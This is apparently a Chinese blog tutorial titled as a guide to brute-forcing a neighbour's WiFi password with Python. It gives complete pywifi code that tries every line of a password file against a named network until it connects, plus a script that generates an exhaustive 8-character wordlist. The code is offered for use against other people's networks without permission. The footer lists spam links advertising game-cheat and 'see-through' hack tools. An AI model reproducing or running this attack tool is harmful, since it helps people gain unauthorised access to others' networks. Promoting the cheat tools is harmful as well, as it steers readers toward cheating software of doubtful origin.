利用Python暴力破解邻居家WiFi密码
创始人
2025-01-09 05:03:58
0

如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。

在这里插入图片描述

文章目录

  • 一、编写代码
    • 二、展示测试结果
      • 三、测试
        • 四、生成密码本(建议自己找一个密码本)

一、编写代码

在桌面新建一个文件
在这里插入图片描述
如果你新建的文件没有后缀名.txt,请进行如下设置

在这里插入图片描述

打开刚刚新建的文件,下面代码写入文件,保存

# coding:utf-8 import pywifi from pywifi import const import time import datetime  #测试连接,返回链接结果 def wifiConnect(pwd):     #抓取网卡接口     wifi=pywifi.PyWiFi()     #获取第一个无线网卡     ifaces=wifi.interfaces()[0]     #断开所有连接     ifaces.disconnect()     time.sleep(1)     wifistatus=ifaces.status()     if wifistatus ==const.IFACE_DISCONNECTED:         #创建WiFi连接文件         profile=pywifi.Profile()         #要连接WiFi的名称         profile.ssid="TP-LINK_1301"                  #网卡的开放状态         profile.auth=const.AUTH_ALG_OPEN         #wifi加密算法,一般wifi加密算法为wps         profile.akm.append(const.AKM_TYPE_WPA2PSK)         #加密单元         profile.cipher=const.CIPHER_TYPE_CCMP         #调用密码         profile.key=pwd         #删除所有连接过的wifi文件         ifaces.remove_all_network_profiles()         #设定新的连接文件         tep_profile=ifaces.add_network_profile(profile)         ifaces.connect(tep_profile)         #wifi连接时间         time.sleep(1)         if ifaces.status()==const.IFACE_CONNECTED:             return True         else:             return False     else:         print("已有wifi连接")    #读取密码本 def readPassword():     print("开始破解:")     #密码本路径     path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt" #打开文件     file=open(path,"r")     while True:         try:             #一行一行读取             pad=file.readline()             bool=wifiConnect(pad)             Python学习交流群:748989764             if bool:                 print("密码已破解: ",pad)                 print("WiFi已自动连接!!!")                 break             #else:                 #跳出当前循环,进行下一次循环                 #print("密码破解中....密码校对: ",pad)         except:             continue   start=datetime.datetime.now()  readPassword() end=datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end-start))  

将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)

在这里插入图片描述

二、展示测试结果

必备文件
在这里插入图片描述

三、测试

  1. 打开python软件

在这里插入图片描述

2.打开代码:

  • File→Open→破解WiFi密码.PY(找到破解代码)→打开

3.测试运行

  • 修改:WiFi名密码本路径
    在这里插入图片描述
  • 测试:Run→Run Module
四、生成密码本(建议自己找一个密码本)
  • 如果有密码本就不需要这个步骤

1.代码(密码中有重复的数字和字母)

             1.修改: 密码组成元素  和 密码保存路径 

在这里插入图片描述

  1. 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its import datetime   #记录程序运行时间 start=datetime.datetime.now()  words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便 # 生成密码的位数 r = its.product(words,repeat=8)#密码位数为9 dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a') for i in r:     dic.write(''.join(i))     dic.write(''.join('\n'))     print(i) Python学习交流群:748989764 dic.close() print('密码本生成好了') end=datetime.datetime.now() print("生成密码本一共用了多长时间:{}".format(end-start))  
  1. 运行步骤和前面破解WiFi密码相同不再讲解。

相关内容

热门资讯

实测分享!桃乐甘肃麻将下载辅助... 实测分享!桃乐甘肃麻将下载辅助器,飞驰娱乐科技软件,练习教程(有挂神器)该软件可以轻松地帮助玩家将桃...
我来教大家!白银胡乐亲友房,上... 我来教大家!白银胡乐亲友房,上品游戏辅助器,课程教程(有挂透明挂)1、玩家可以在上品游戏辅助器透视最...
最新研发!微信小程序蜀山四川辅... 最新研发!微信小程序蜀山四川辅助器,杭州都莱辅助,指南教程(有挂技巧)一、微信小程序蜀山四川辅助器游...
一分钟了解!潮汕雀友会辅助,创... 一分钟了解!潮汕雀友会辅助,创思维激k辅助控制器,窍门教程(有挂教学)1、下载好创思维激k辅助控制器...
玩家必看科普!麻友圈插件,微信... 玩家必看科普!麻友圈插件,微信边锋辅助,学习教程(有挂秘籍)1、很好的工具软件,可以解锁游戏的微信边...
今日科普!乐乐围棋入门辅助,途... 今日科普!乐乐围棋入门辅助,途游辅助器,法子教程(有挂方法);小薇(辅助器软件下载)致您一封信;亲爱...
玩家必备攻略!欢聚水鱼天下辅助... 玩家必备攻略!欢聚水鱼天下辅助,微友助手破解版,要领教程(发现有挂)1、欢聚水鱼天下辅助透视辅助软件...
专业讨论!白金岛跑胡子脚本,多... 专业讨论!白金岛跑胡子脚本,多乐辅助器,手册教程(有挂神器)亲,关键说明,白金岛跑胡子脚本透视脚本安...
玩家科普!皮皮辅助软件,四川家... 玩家科普!皮皮辅助软件,四川家园辅助软件,演示教程(有挂细节)所有人都在同一条线上,像星星一样排成一...
一分钟教你!随意玩脚本辅助工具... 一分钟教你!随意玩脚本辅助工具透视,川南九九辅助,步骤教程(有挂详情)1、很好的工具软件,可以解锁游...